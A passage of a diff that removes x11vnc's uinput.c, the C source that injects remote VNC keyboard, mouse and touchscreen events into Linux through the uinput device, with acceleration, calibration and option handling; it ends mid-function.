-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- uinput.c -- */
-
-#include "x11vnc.h"
-#include "cleanup.h"
-#include "scan.h"
-#include "xinerama.h"
-#include "screen.h"
-#include "pointer.h"
-#include "keyboard.h"
-#include "allowed_input_t.h"
-
-#if LIBVNCSERVER_HAVE_SYS_IOCTL_H
-#if LIBVNCSERVER_HAVE_LINUX_INPUT_H
-#if LIBVNCSERVER_HAVE_LINUX_UINPUT_H
-#define UINPUT_OK
-#endif
-#endif
-#endif
-
-#ifdef UINPUT_OK
-#include <sys/ioctl.h>
-#include <linux/input.h>
-#include <linux/uinput.h>
-
-#if !defined(EV_SYN) || !defined(SYN_REPORT)
-#undef UINPUT_OK
-#endif
-
-#endif
-
-
-int check_uinput(void);
-int initialize_uinput(void);
-void shutdown_uinput(void);
-int set_uinput_accel(char *str);
-int set_uinput_thresh(char *str);
-void set_uinput_reset(int ms);
-void set_uinput_always(int);
-void set_uinput_touchscreen(int);
-void set_uinput_abs(int);
-char *get_uinput_accel();
-char *get_uinput_thresh();
-int get_uinput_reset();
-int get_uinput_always();
-int get_uinput_touchscreen();
-int get_uinput_abs();
-void parse_uinput_str(char *str);
-void uinput_pointer_command(int mask, int x, int y, rfbClientPtr client);
-void uinput_key_command(int down, int keysym, rfbClientPtr client);
-
-static void init_key_tracker(void);
-static int mod_is_down(void);
-static int key_is_down(void);
-static void set_uinput_accel_xy(double fx, double fy);
-static void ptr_move(int dx, int dy);
-static void ptr_rel(int dx, int dy);
-static void button_click(int down, int btn);
-static int lookup_code(int keysym);
-
-static int fd = -1;
-static int direct_rel_fd = -1;
-static int direct_abs_fd = -1;
-static int direct_btn_fd = -1;
-static int direct_key_fd = -1;
-static int bmask = 0;
-static int db = 0;
-
-static char *injectable = NULL;
-static char *uinput_dev = NULL;
-static char *tslib_cal = NULL;
-static double a[7];
-static int uinput_touchscreen = 0;
-static int uinput_abs = 0;
-static int btn_touch = 0;
-static int dragskip = 0;
-static int touch_always = 0;
-static int touch_pressure = 1;
-static int abs_x = 0, abs_y = 0;
-
-static char *devs[] = {
- "/dev/misc/uinput",
- "/dev/input/uinput",
- "/dev/uinput",
- NULL
-};
-
-#ifndef O_NDELAY
-#ifdef O_NONBLOCK
-#define O_NDELAY O_NONBLOCK
-#else
-#define O_NDELAY 0
-#endif
-#endif
-
-/*
- * User may need to do:
- modprode uinput
- mknod /dev/input/uinput c 10 223
- */
-
-int check_uinput(void) {
-#ifndef UINPUT_OK
- return 0;
-#else
- int i;
- if (UT.release) {
- int maj, min;
- /* guard against linux 2.4 */
- if (sscanf(UT.release, "%d.%d.", &maj, &min) == 2) {
- if (maj < 2) {
- return 0;
- } else if (maj == 2) {
- /* hmmm IPAQ 2.4.19-rmk6-pxa1-hh37 works... */
-#if 0
- if (min < 6) {
- return 0;
- }
-#endif
- }
- }
- }
- fd = -1;
- i = 0;
- while (devs[i] != NULL) {
- if ( (fd = open(devs[i++], O_WRONLY | O_NDELAY)) >= 0) {
- break;
- }
- }
- if (fd < 0) {
- return 0;
- }
- close(fd);
- fd = -1;
- return 1;
-#endif
-}
-
-static int key_pressed[256];
-static int key_ismod[256];
-
-static void init_key_tracker(void) {
- int i;
- for (i = 0; i < 256; i++) {
- key_pressed[i] = 0;
- key_ismod[i] = 0;
- }
- i = lookup_code(XK_Shift_L); if (0<=i && i<256) key_ismod[i] = 1;
- i = lookup_code(XK_Shift_R); if (0<=i && i<256) key_ismod[i] = 1;
- i = lookup_code(XK_Control_L); if (0<=i && i<256) key_ismod[i] = 1;
- i = lookup_code(XK_Control_R); if (0<=i && i<256) key_ismod[i] = 1;
- i = lookup_code(XK_Alt_L); if (0<=i && i<256) key_ismod[i] = 1;
- i = lookup_code(XK_Alt_R); if (0<=i && i<256) key_ismod[i] = 1;
- i = lookup_code(XK_Meta_L); if (0<=i && i<256) key_ismod[i] = 1;
- i = lookup_code(XK_Meta_R); if (0<=i && i<256) key_ismod[i] = 1;
-}
-
-static int mod_is_down(void) {
- int i;
- if (0) {key_is_down();}
- for (i = 0; i < 256; i++) {
- if (key_pressed[i] && key_ismod[i]) {
- return 1;
- }
- }
- return 0;
-}
-
-static int key_is_down(void) {
- int i;
- for (i = 0; i < 256; i++) {
- if (key_pressed[i]) {
- return 1;
- }
- }
- return 0;
-}
-
-void shutdown_uinput(void) {
-#ifdef UINPUT_OK
- if (fd >= 0) {
- if (db) {
- rfbLog("shutdown_uinput called on fd=%d\n", fd);
- }
- ioctl(fd, UI_DEV_DESTROY);
- close(fd);
- fd = -1;
- }
-
- /* close direct injection files too: */
- if (direct_rel_fd >= 0) close(direct_rel_fd);
- if (direct_abs_fd >= 0) close(direct_abs_fd);
- if (direct_btn_fd >= 0) close(direct_btn_fd);
- if (direct_key_fd >= 0) close(direct_key_fd);
- direct_rel_fd = -1;
- direct_abs_fd = -1;
- direct_btn_fd = -1;
- direct_key_fd = -1;
-#endif
-}
-
-/*
-grep BUS_ /usr/include/linux/input.h | awk '{print $2}' | perl -e 'while (<>) {chomp; print "#ifdef $_\n\t\tif(!strcmp(s, \"$_\"))\tudev.id.bustype = $_\n#endif\n"}'
- */
-static int get_bustype(char *s) {
-#ifdef UINPUT_OK
-
- if (!s) return 0;
-
-#ifdef BUS_PCI
- if(!strcmp(s, "BUS_PCI")) return BUS_PCI;
-#endif
-#ifdef BUS_ISAPNP
- if(!strcmp(s, "BUS_ISAPNP")) return BUS_ISAPNP;
-#endif
-#ifdef BUS_USB
- if(!strcmp(s, "BUS_USB")) return BUS_USB;
-#endif
-#ifdef BUS_HIL
- if(!strcmp(s, "BUS_HIL")) return BUS_HIL;
-#endif
-#ifdef BUS_BLUETOOTH
- if(!strcmp(s, "BUS_BLUETOOTH")) return BUS_BLUETOOTH;
-#endif
-#ifdef BUS_VIRTUAL
- if(!strcmp(s, "BUS_VIRTUAL")) return BUS_VIRTUAL;
-#endif
-#ifdef BUS_ISA
- if(!strcmp(s, "BUS_ISA")) return BUS_ISA;
-#endif
-#ifdef BUS_I8042
- if(!strcmp(s, "BUS_I8042")) return BUS_I8042;
-#endif
-#ifdef BUS_XTKBD
- if(!strcmp(s, "BUS_XTKBD")) return BUS_XTKBD;
-#endif
-#ifdef BUS_RS232
- if(!strcmp(s, "BUS_RS232")) return BUS_RS232;
-#endif
-#ifdef BUS_GAMEPORT
- if(!strcmp(s, "BUS_GAMEPORT")) return BUS_GAMEPORT;
-#endif
-#ifdef BUS_PARPORT
- if(!strcmp(s, "BUS_PARPORT")) return BUS_PARPORT;
-#endif
-#ifdef BUS_AMIGA
- if(!strcmp(s, "BUS_AMIGA")) return BUS_AMIGA;
-#endif
-#ifdef BUS_ADB
- if(!strcmp(s, "BUS_ADB")) return BUS_ADB;
-#endif
-#ifdef BUS_I2C
- if(!strcmp(s, "BUS_I2C")) return BUS_I2C;
-#endif
-#ifdef BUS_HOST
- if(!strcmp(s, "BUS_HOST")) return BUS_HOST;
-#endif
-#ifdef BUS_GSC
- if(!strcmp(s, "BUS_GSC")) return BUS_GSC;
-#endif
-#ifdef BUS_ATARI
- if(!strcmp(s, "BUS_ATARI")) return BUS_ATARI;
-#endif
- if (atoi(s) > 0) {
- return atoi(s);
- }
-
-#endif
- return 0;
-}
-
-static void load_tslib_cal(void) {
- FILE *f;
- char line[1024], *p;
- int i;
-
- /* /etc/pointercal -528 33408 -3417516 -44200 408 40292028 56541 */
-
- /* this is the identity transformation: */
- a[0] = 1.0;
- a[1] = 0.0;
- a[2] = 0.0;
- a[3] = 0.0;
- a[4] = 1.0;
- a[5] = 0.0;
- a[6] = 1.0;
-
- if (tslib_cal == NULL) {
- return;
- }
-
- rfbLog("load_tslib_cal: reading %s\n", tslib_cal);
- f = fopen(tslib_cal, "r");
- if (f == NULL) {
- rfbLogPerror("load_tslib_cal: fopen");
- clean_up_exit(1);
- }
-
- if (fgets(line, sizeof(line), f) == NULL) {
- rfbLogPerror("load_tslib_cal: fgets");
- clean_up_exit(1);
- }
- fclose(f);
-
- p = strtok(line, " \t");
- i = 0;
- while (p) {
- a[i] = (double) atoi(p);
- rfbLog("load_tslib_cal: a[%d] %.3f\n", i, a[i]);
- p = strtok(NULL, " \t");
- i++;
- if (i >= 7) {
- break;
- }
- }
- if (i != 7) {
- rfbLog("load_tslib_cal: invalid tslib file format: i=%d %s\n",
- i, tslib_cal);
- clean_up_exit(1);
- }
-}
-
-
-int initialize_uinput(void) {
-#ifndef UINPUT_OK
- return 0;
-#else
- int i;
- char *s;
- struct uinput_user_dev udev;
-
- if (fd >= 0) {
- shutdown_uinput();
- }
- fd = -1;
-
- if (getenv("X11VNC_UINPUT_DEBUG")) {
- db = atoi(getenv("X11VNC_UINPUT_DEBUG"));
- rfbLog("set uinput debug to: %d\n", db);
- }
-
- if (tslib_cal) {
- load_tslib_cal();
- }
-
- init_key_tracker();
-
- if (uinput_dev) {
- if (!strcmp(uinput_dev, "nouinput")) {
- rfbLog("initialize_uinput: not creating uinput device.\n");
- return 1;
- } else {
- fd = open(uinput_dev, O_WRONLY | O_NDELAY);
- rfbLog("initialize_uinput: using: %s %d\n", uinput_dev, fd);
- }
- } else {
- i = 0;
- while (devs[i] != NULL) {
- if ( (fd = open(devs[i], O_WRONLY | O_NDELAY)) >= 0) {
- rfbLog("initialize_uinput: using: %s %d\n",
- devs[i], fd);
- break;
- }
- i++;
- }
- }
- if (fd < 0) {
- rfbLog("initialize_uinput: could not open an uinput device.\n");
- rfbLogPerror("open");
- if (direct_rel_fd < 0 && direct_abs_fd < 0 && direct_btn_fd < 0 && direct_key_fd < 0) {
- clean_up_exit(1);
- }
- return 1;
- }
-
- memset(&udev, 0, sizeof(udev));
-
- strncpy(udev.name, "x11vnc injector", UINPUT_MAX_NAME_SIZE);
-
- s = getenv("X11VNC_UINPUT_BUS");
- if (s) {
- udev.id.bustype = get_bustype(s);
- } else if (0) {
- udev.id.bustype = BUS_USB;
- }
-
- s = getenv("X11VNC_UINPUT_VERSION");
- if (s) {
- udev.id.version = atoi(s);
- } else if (0) {
- udev.id.version = 4;
- }
-
- ioctl(fd, UI_SET_EVBIT, EV_REL);
- ioctl(fd, UI_SET_RELBIT, REL_X);
- ioctl(fd, UI_SET_RELBIT, REL_Y);
-
- ioctl(fd, UI_SET_EVBIT, EV_KEY);
-
- ioctl(fd, UI_SET_EVBIT, EV_SYN);
-
- for (i=0; i < 256; i++) {
- ioctl(fd, UI_SET_KEYBIT, i);
- }
-
- ioctl(fd, UI_SET_KEYBIT, BTN_MOUSE);
- ioctl(fd, UI_SET_KEYBIT, BTN_LEFT);
- ioctl(fd, UI_SET_KEYBIT, BTN_MIDDLE);
- ioctl(fd, UI_SET_KEYBIT, BTN_RIGHT);
- ioctl(fd, UI_SET_KEYBIT, BTN_FORWARD);
- ioctl(fd, UI_SET_KEYBIT, BTN_BACK);
-
- if (uinput_touchscreen) {
- ioctl(fd, UI_SET_KEYBIT, BTN_TOUCH);
- rfbLog("uinput: touchscreen enabled.\n");
- }
- if (uinput_touchscreen || uinput_abs) {
- int gw = abs_x, gh = abs_y;
- if (! gw || ! gh) {
- gw = fb_x; gh = fb_y;
- }
- if (! gw || ! gh) {
- gw = dpy_x; gh = dpy_y;
- }
- abs_x = gw;
- abs_y = gh;
- ioctl(fd, UI_SET_EVBIT, EV_ABS);
- ioctl(fd, UI_SET_ABSBIT, ABS_X);
- ioctl(fd, UI_SET_ABSBIT, ABS_Y);
- udev.absmin[ABS_X] = 0;
- udev.absmax[ABS_X] = gw;
- udev.absfuzz[ABS_X] = 0;
- udev.absflat[ABS_X] = 0;
- udev.absmin[ABS_Y] = 0;
- udev.absmax[ABS_Y] = gh;
- udev.absfuzz[ABS_Y] = 0;
- udev.absflat[ABS_Y] = 0;
- rfbLog("uinput: absolute pointer enabled at %dx%d.\n", abs_x, abs_y);
- set_uinput_accel_xy(1.0, 1.0);
- }
-
- if (db) {
- rfbLog(" udev.name: %s\n", udev.name);
- rfbLog(" udev.id.bustype: %d\n", udev.id.bustype);
- rfbLog(" udev.id.vendor: %d\n", udev.id.vendor);
- rfbLog(" udev.id.product: %d\n", udev.id.product);
- rfbLog(" udev.id.version: %d\n", udev.id.version);
- rfbLog(" udev.ff_effects_max: %d\n", udev.ff_effects_max);
- rfbLog(" udev.absmin[ABS_X]: %d\n", udev.absmin[ABS_X]);
- rfbLog(" udev.absmax[ABS_X]: %d\n", udev.absmax[ABS_X]);
- rfbLog(" udev.absfuzz[ABS_X]: %d\n", udev.absfuzz[ABS_X]);
- rfbLog(" udev.absflat[ABS_X]: %d\n", udev.absflat[ABS_X]);
- rfbLog(" udev.absmin[ABS_Y]: %d\n", udev.absmin[ABS_Y]);
- rfbLog(" udev.absmax[ABS_Y]: %d\n", udev.absmax[ABS_Y]);
- rfbLog(" udev.absfuzz[ABS_Y]: %d\n", udev.absfuzz[ABS_Y]);
- rfbLog(" udev.absflat[ABS_Y]: %d\n", udev.absflat[ABS_Y]);
- }
-
- write(fd, &udev, sizeof(udev));
-
- if (ioctl(fd, UI_DEV_CREATE) != 0) {
- rfbLog("ioctl(fd, UI_DEV_CREATE) failed.\n");
- rfbLogPerror("ioctl");
- close(fd);
- clean_up_exit(1);
- }
- return 1;
-#endif
-}
-
-/* these defaults are based on qt-embedded 7/2006 */
-static double fudge_x = 0.5; /* accel=2.0 */
-static double fudge_y = 0.5;
-
-static int thresh = 5;
-static int thresh_or = 1;
-
-static double resid_x = 0.0;
-static double resid_y = 0.0;
-
-static double zero_delay = 0.15;
-static double last_button_click = 0.0;
-
-static int uinput_always = 0;
-
-static void set_uinput_accel_xy(double fx, double fy) {
- fudge_x = 1.0/fx;
- fudge_y = 1.0/fy;
- rfbLog("set_uinput_accel: fx=%.5f fy=%.5f\n", fx, fy);
- rfbLog("set_uinput_accel: ix=%.5f iy=%.5f\n", fudge_x, fudge_y);
-}
-
-static char *uinput_accel_str = NULL;
-static char *uinput_thresh_str = NULL;
-
-int set_uinput_accel(char *str) {
- double fx, fy;
- rfbLog("set_uinput_accel: str=%s\n", str);
- if (sscanf(str, "%lf+%lf", &fx, &fy) == 2) {
- set_uinput_accel_xy(fx, fy);
- } else if (sscanf(str, "%lf", &fx) == 1) {
- set_uinput_accel_xy(fx, fx);
- } else {
- rfbLog("invalid UINPUT accel= option: %s\n", str);
- return 0;
- }
- if (uinput_accel_str) {
- free(uinput_accel_str);
- }
- uinput_accel_str = strdup(str);
- return 1;
-}
-
-int set_uinput_thresh(char *str) {
- rfbLog("set_uinput_thresh: str=%s\n", str);
- if (str[0] == '+') {
- thresh_or = 0;
- }
- thresh = atoi(str);
- if (uinput_thresh_str) {
- free(uinput_thresh_str);
- }
- uinput_thresh_str = strdup(str);
- return 1;
-}
-
-void set_uinput_reset(int ms) {
- zero_delay = (double) ms/1000.;
- rfbLog("set_uinput_reset: %d\n", ms);
-}
-
-void set_uinput_always(int a) {
- uinput_always = a;
-}
-
-void set_uinput_touchscreen(int b) {
- uinput_touchscreen = b;
-}
-
-void set_uinput_abs(int b) {
- uinput_abs = b;
-}
-
-char *get_uinput_accel(void) {
- return uinput_accel_str;
-}
-char *get_uinput_thresh(void) {
- return uinput_thresh_str;
-}
-int get_uinput_reset(void) {
- return (int) (1000 * zero_delay);
-}
-
-int get_uinput_always(void) {
- return uinput_always;
-}
-
-int get_uinput_touchscreen(void) {
- return uinput_touchscreen;
-}
-
-int get_uinput_abs(void) {
- return uinput_abs;
-}
-
-void parse_uinput_str(char *in) {
- char *p, *q, *str = strdup(in);
-
- if (injectable) {
- free(injectable);
- injectable = strdup("KMB");
- }
-
- uinput_touchscreen = 0;
- uinput_abs = 0;
- abs_x = abs_y = 0;
-
- if (tslib_cal) {
- free(tslib_cal);
- tslib_cal = NULL;
- }
-
- p = strtok(str, ",");
- while (p) {
- if (p[0] == '/') {
- if (uinput_dev) {
- free(uinput_dev);
- }
- uinput_dev = strdup(p);
- } else if (strstr(p, "nouinput") == p) {
- if (uinput_dev) {
- free(uinput_dev);
- }
- uinput_dev = strdup(p);
- } else if (strstr(p, "accel=") == p) {
- q = p + strlen("accel=");
- if (! set_uinput_accel(q)) {
- clean_up_exit(1);
- }
- } else if (strstr(p, "thresh=") == p) {
- q = p + strlen("thresh=");
- set_uinput_thresh(q);
-
- } else if (strstr(p, "reset=") == p) {
- int n = atoi(p + strlen("reset="));
- set_uinput_reset(n);
- } else if (strstr(p, "always=") == p) {
- int n = atoi(p + strlen("always="));
- set_uinput_always(n);
- } else if (strpbrk(p, "KMB") == p) {
- if (injectable) {
- free(injectable);
- }
- injectable = strdup(p);
- } else if (strstr(p, "touch_always=") == p) {
- touch_always = atoi(p + strlen("touch_always="));
- } else if (strstr(p, "btn_touch=") == p) {
- btn_touch = atoi(p + strlen("btn_touch="));
- } else if (strstr(p, "dragskip=") == p) {
- dragskip = atoi(p + strlen("dragskip="));
- } else if (strstr(p, "touch") == p) {
- int gw, gh;
- q = strchr(p, '=');
- set_uinput_touchscreen(1);
- set_uinput_abs(1);
- if (q && sscanf(q+1, "%dx%d", &gw, &gh) == 2) {
- abs_x = gw;
- abs_y = gh;
- }
- } else if (strstr(p, "abs") == p) {
- int gw, gh;
- q = strchr(p, '=');
- set_uinput_abs(1);
- if (q && sscanf(q+1, "%dx%d", &gw, &gh) == 2) {
- abs_x = gw;
- abs_y = gh;
- }
- } else if (strstr(p, "pressure=") == p) {
- touch_pressure = atoi(p + strlen("pressure="));
- } else if (strstr(p, "direct_rel=") == p) {
- direct_rel_fd = open(p+strlen("direct_rel="), O_WRONLY);
- if (direct_rel_fd < 0) {
- rfbLogPerror("uinput: direct_rel open");
- } else {
- rfbLog("uinput: opened: %s fd=%d\n", p, direct_rel_fd);
- }
- } else if (strstr(p, "direct_abs=") == p) {
- direct_abs_fd = open(p+strlen("direct_abs="), O_WRONLY);
- if (direct_abs_fd < 0) {
- rfbLogPerror("uinput: direct_abs open");
- } else {
- rfbLog("uinput: opened: %s fd=%d\n", p, direct_abs_fd);
- }
- } else if (strstr(p, "direct_btn=") == p) {
- direct_btn_fd = open(p+strlen("direct_btn="), O_WRONLY);
- if (direct_btn_fd < 0) {
- rfbLogPerror("uinput: direct_btn open");
- } else {
- rfbLog("uinput: opened: %s fd=%d\n", p, direct_btn_fd);
- }
- } else if (strstr(p, "direct_key=") == p) {
- direct_key_fd = open(p+strlen("direct_key="), O_WRONLY);
- if (direct_key_fd < 0) {
- rfbLogPerror("uinput: direct_key open");
- } else {
- rfbLog("uinput: opened: %s fd=%d\n", p, direct_key_fd);
- }
- } else if (strstr(p, "tslib_cal=") == p) {
- tslib_cal = strdup(p+strlen("tslib_cal="));
- } else {
- rfbLog("invalid UINPUT option: %s\n", p);
- clean_up_exit(1);
- }
- p = strtok(NULL, ",");
- }
- free(str);
-}
-
-static void ptr_move(int dx, int dy) {
-#ifdef UINPUT_OK
- struct input_event ev;
- int d = direct_rel_fd < 0 ? fd : direct_rel_fd;
-
- if (injectable && strchr(injectable, 'M') == NULL) {
- return;
- }
-
- memset(&ev, 0, sizeof(ev));
-
- if (db) fprintf(stderr, "ptr_move(%d, %d) fd=%d\n", dx, dy, d);
-
- gettimeofday(&ev.time, NULL);
- ev.type = EV_REL;
- ev.code = REL_Y;
- ev.value = dy;
- write(d, &ev, sizeof(ev));
-
- ev.type = EV_REL;
- ev.code = REL_X;
- ev.value = dx;
- write(d, &ev, sizeof(ev));
-
- ev.type = EV_SYN;
- ev.code = SYN_REPORT;
- ev.value = 0;
- write(d, &ev, sizeof(ev));
-#else
- if (!dx || !dy) {}
-#endif
-}
-
-static void apply_tslib(int *x, int *y) {
- double x1 = *x, y1 = *y, x2, y2;
-
- /* this is the inverse of the tslib linear transform: */
- x2 = (a[4] * (a[6] * x1 - a[2]) - a[1] * (a[6] * y1 - a[5]))/(a[4]*a[0] - a[1]*a[3]);
- y2 = (a[0] * (a[6] * y1 - a[5]) - a[3] * (a[6] * x1 - a[2]))/(a[4]*a[0] - a[1]*a[3]);
-
- *x = (int) x2;
- *y = (int) y2;
-}
-
-
-static void ptr_abs(int x, int y, int p) {
-#ifdef UINPUT_OK
- struct input_event ev;
- int x0, y0;
- int d = direct_abs_fd < 0 ? fd : direct_abs_fd;
-
- if (injectable && strchr(injectable, 'M') == NULL) {
- return;
- }
-
- memset(&ev, 0, sizeof(ev));
-
- x0 = x;
- y0 = y;
-
- if (tslib_cal) {
- apply_tslib(&x, &y);
- }
-
- if (db) fprintf(stderr, "ptr_abs(%d, %d => %d %d, p=%d) fd=%d\n", x0, y0, x, y, p, d);
-
- gettimeofday(&ev.time, NULL);
- ev.type = EV_ABS;
- ev.code = ABS_Y;
- ev.value = y;
- write(d, &ev, sizeof(ev));
-
- ev.type = EV_ABS;
- ev.code = ABS_X;
- ev.value = x;
- write(d, &ev, sizeof(ev));
-
- if (p >= 0) {
- ev.type = EV_ABS;
- ev.code = ABS_PRESSURE;
- ev.value = p;
- write(d, &ev, sizeof(ev));
- }
-
- ev.type = EV_SYN;
- ev.code = SYN_REPORT;
- ev.value = 0;
- write(d, &ev, sizeof(ev));
-#else
- if (!x || !y) {}
-#endif
-}
-
-static int inside_thresh(int dx, int dy, int thr) {
- if (thresh_or) {
- /* this is peeking at qt-embedded qmouse_qws.cpp */
- if (nabs(dx) <= thresh && nabs(dy) <= thr) {
- return 1;
- }
- } else {
- /* this is peeking at xfree/xorg xf86Xinput.c */
- if (nabs(dx) + nabs(dy) < thr) {
- return 1;
- }
- }
- return 0;
-}
-
-static void ptr_rel(int dx, int dy) {
- int dxf, dyf, nx, ny, k;
- int accel, thresh_high, thresh_mid;
- double fx, fy;
- static int try_threshes = -1;
-
- if (try_threshes < 0) {
- if (getenv("X11VNC_UINPUT_THRESHOLDS")) {
- try_threshes = 1;
- } else {
- try_threshes = 0;
- }
- }
-
- if (try_threshes) {
- thresh_high = (int) ( (double) thresh/fudge_x );
- thresh_mid = (int) ( (double) (thresh + thresh_high) / 2.0 );
-
- if (thresh_mid <= thresh) {
- thresh_mid = thresh + 1;
- }
- if (thresh_high <= thresh_mid) {
- thresh_high = thresh_mid + 1;
- }
-
- if (inside_thresh(dx, dy, thresh)) {
- accel = 0;
- } else {
- accel = 1;
- }
- nx = nabs(dx);
- ny = nabs(dy);
-
- } else {
- accel = 1;
- thresh_high = 0;
- nx = ny = 1;
- }
-
- if (accel && nx + ny > 0 ) {
- if (thresh_high > 0 && inside_thresh(dx, dy, thresh_high)) {
- double alpha, t;
- /* XXX */
- if (1 || inside_thresh(dx, dy, thresh_mid)) {
- t = thresh;
- accel = 2;
- } else {
- accel = 3;
- t = thresh_high;
- }
- if (thresh_or) {
- if (nx > ny) {
- fx = t;
- fy = ((double) ny / (double) nx) * t;
- } else {
- fx = ((double) nx / (double) ny) * t;
- fy = t;
- }
- dxf = (int) fx;
- dyf = (int) fy;
- fx = dx;
- fy = dy;
-
- } else {
- if (t > 1) {
- /* XXX */
- t = t - 1.0;
- }
- alpha = t/(nx + ny);
- fx = alpha * dx;
- fy = alpha * dy;
- dxf = (int) fx;
- dyf = (int) fy;
- fx = dx;
- fy = dy;
- }
- } else {
- fx = fudge_x * (double) dx;
- fy = fudge_y * (double) dy;
- dxf = (int) fx;
- dyf = (int) fy;
- }
- } else {
- fx = dx;
- fy = dy;
- dxf = dx;
- dyf = dy;
- }
-
- if (db > 1) fprintf(stderr, "old dx dy: %d %d\n", dx, dy);
- if (db > 1) fprintf(stderr, "new dx dy: %d %d accel: %d\n", dxf, dyf, accel);
-
- ptr_move(dxf, dyf);
-
- resid_x += fx - dxf;
- resid_y += fy - dyf;
-
- for (k = 0; k < 4; k++) {
- if (resid_x <= -1.0 || resid_x >= 1.0 || resid_y <= -1.0 || resid_y >= 1.0) {
- dxf = 0;
- dyf = 0;
- if (resid_x >= 1.0) {
- dxf = (int) resid_x;
- dxf = 1;
- } else if (resid_x <= -1.0) {
- dxf = -((int) (-resid_x));
- dxf = -1;
- }
- resid_x -= dxf;
- if (resid_y >= 1.0) {
- dyf = (int) resid_y;
- dyf = 1;
- } else if (resid_y <= -1.0) {
- dyf = -((int) (-resid_y));
- dyf = -1;
- }
- resid_y -= dyf;
-
- if (db > 1) fprintf(stderr, "*%s resid: dx dy: %d %d %f %f\n", accel > 1 ? "*" : " ", dxf, dyf, resid_x, resid_y);
-if (0) {usleep(100*1000) ;}
- ptr_move(dxf, dyf);
- }
- }
-}
-
-static void button_click(int down, int btn) {
-#ifdef UINPUT_OK
- struct input_event ev;
- int d = direct_btn_fd < 0 ? fd : direct_btn_fd;
-
- if (injectable && strchr(injectable, 'B') == NULL) {
- return;
- }
-
- if (db) fprintf(stderr, "button_click: btn %d %s fd=%d\n", btn, down ? "down" : "up", d);
-
- memset(&ev, 0, sizeof(ev));
- gettimeofday(&ev.time, NULL);
- ev.type = EV_KEY;
- ev.value = down;
-
- if (uinput_touchscreen) {
- ev.code = BTN_TOUCH;
- if (db) fprintf(stderr, "set code to BTN_TOUCH\n");
- } else if (btn == 1) {
- ev.code = BTN_LEFT;
- } else if (btn == 2) {
- ev.code = BTN_MIDDLE;
- } else if (btn == 3) {
- ev.code = BTN_RIGHT;
- } else if (btn == 4) {
- ev.code = BTN_FORWARD;
- } else if (btn == 5) {
- ev.code = BTN_BACK;
- } else {
- return;
- }
-
- write(d, &ev, sizeof(ev));
-
- ev.type = EV_SYN;
- ev.code = SYN_REPORT;
- ev.value = 0;
- write(d, &ev, sizeof(ev));
-
- last_button_click = dnow();
-#else
- if (!down || !btn) {}
-#endif
-}
-
-
-void uinput_pointer_command(int mask, int x, int y, rfbClientPtr client) {
- static int last_x = -1, last_y = -1, last_mask = -1;
- static double last_zero = 0.0;
- allowed_input_t input;
- int do_reset, reset_lower_right = 1;
- double now;
- static int first = 1;
-
- if (first) {
- if (getenv("RESET_ALWAYS")) {
- set_uinput_always(1);
- } else {
- set_uinput_always(0);
- }
- }
- first = 0;
-
- if (db) fprintf(stderr, "uinput_pointer_command: %d %d - %d\n", x, y, mask);
-
- if (view_only) {
- return;
- }
- get_allowed_input(client, &input);
-
- now = dnow();
-
- do_reset = 1;
- if (mask || bmask) {
- do_reset = 0; /* do not do reset if mouse button down */
- } else if (! input.motion) {
- do_reset = 0;
- } else if (now < last_zero + zero_delay) {
- do_reset = 0;
- }
- if (do_reset) {
- if (mod_is_down()) {
- do_reset = 0;
- } else if (now < last_button_click + 0.25) {
- do_reset = 0;
- }
- }
-
- if (uinput_always && !mask && !bmask && input.motion) {
- do_reset = 1;
- }
- if (uinput_abs) {
- do_reset = 0;
- }
-
- if (do_reset) {
- static int first = 1;
-
- if (zero_delay > 0.0 || first) {
- /* try to push it to 0,0 */
- int tx, ty, bigjump = 1;
-
- if (reset_lower_right) {
- tx = fudge_x * (dpy_x - last_x);
- ty = fudge_y * (dpy_y - last_y);
- } else {
- tx = fudge_x * last_x;
- ty = fudge_y * last_y;
- }
-
- tx += 50;
- ty += 50;
-
- if (bigjump) {
- if (reset_lower_right) {
- ptr_move(0, +ty);
- usleep(2*1000);
- ptr_move(+tx, +ty);
- ptr_move(+tx, +ty);
- } else {
- ptr_move(0, -ty);
- usleep(2*1000);
- ptr_move(-tx, -ty);
- ptr_move(-tx, -ty);
- }
- } else {
- int i, step, n = 20;
- step = dpy_x / n;
-
- if (step < 100) step = 100;
-
- for (i=0; i < n; i++) {
- if (reset_lower_right) {
- ptr_move(+step, +step);
- } else {
- ptr_move(-step, -step);
- }
- }
- for (i=0; i < n; i++) {
- if (reset_lower_right) {
- ptr_move(+1, +1);
- } else {
- ptr_move(-1, -1);
- }
- }
- }
- if (db) {
- if (reset_lower_right) {
- fprintf(stderr, "uinput_pointer_command: reset -> (W,H) (%d,%d) [%d,%d]\n", x, y, tx, ty);
- } else {
- fprintf(stderr, "uinput_pointer_command: reset -> (0,0) (%d,%d) [%d,%d]\n", x, y, tx, ty);
- }
- }
-
- /* rest a bit for system to absorb the change */
- if (uinput_always) {
- static double last_sleep = 0.0;
- double nw = dnow(), delay = zero_delay;
- if (delay <= 0.0) delay = 0.1;
- if (nw > last_sleep + delay) {
- usleep(10*1000);
- last_sleep = nw;
- } else {
- usleep(1*1000);
- }
-
- } else {
- usleep(30*1000);
- }
-
- /* now jump back out */
- if (reset_lower_right) {
- ptr_rel(x - dpy_x, y - dpy_y);
- } else {
- ptr_rel(x, y);
- }
- if (1) {usleep(10*1000) ;}
-
- last_x = x;
- last_y = y;
- resid_x = 0.0;
- resid_y = 0.0;
-
- first = 0;
- }
- last_zero = dnow();
- }
-
- if (input.motion) {
- if (x != last_x || y != last_y) {
- if (uinput_touchscreen) {
- ;
- } else if (uinput_abs) {
- ptr_abs(x, y, -1);
- } else {
- ptr_rel(x - last_x, y - last_y);
- }
- last_x = x;
- last_y = y;
- }
- }
-
- if (! input.button) {
- return;
- }
-
- if (last_mask < 0) {
- last_mask = mask;
- }
-
- if (db > 2) {
- fprintf(stderr, "mask: %s\n", bitprint(mask, 16));
- fprintf(stderr, "bmask: %s\n", bitprint(bmask, 16));
- fprintf(stderr, "last_mask: %s\n", bitprint(last_mask, 16));
- fprintf(stderr, "button_mask: %s\n", bitprint(button_mask, 16));
- }
-
- if (uinput_touchscreen) {
- if (!btn_touch) {
- static int down_count = 0;
- int p = touch_pressure >=0 ? touch_pressure : 0;
- if (!last_mask && !mask) {
- if (touch_always) {
- ptr_abs(last_x, last_y, 0);
- }
- } else if (!last_mask && mask) {
- ptr_abs(last_x, last_y, p);
- down_count = 0;
- } else if (last_mask && !mask) {
- ptr_abs(last_x, last_y, 0);
- } else if (last_mask && mask) {
- down_count++;
- if (dragskip > 0) {
- if (down_count % dragskip == 0) {
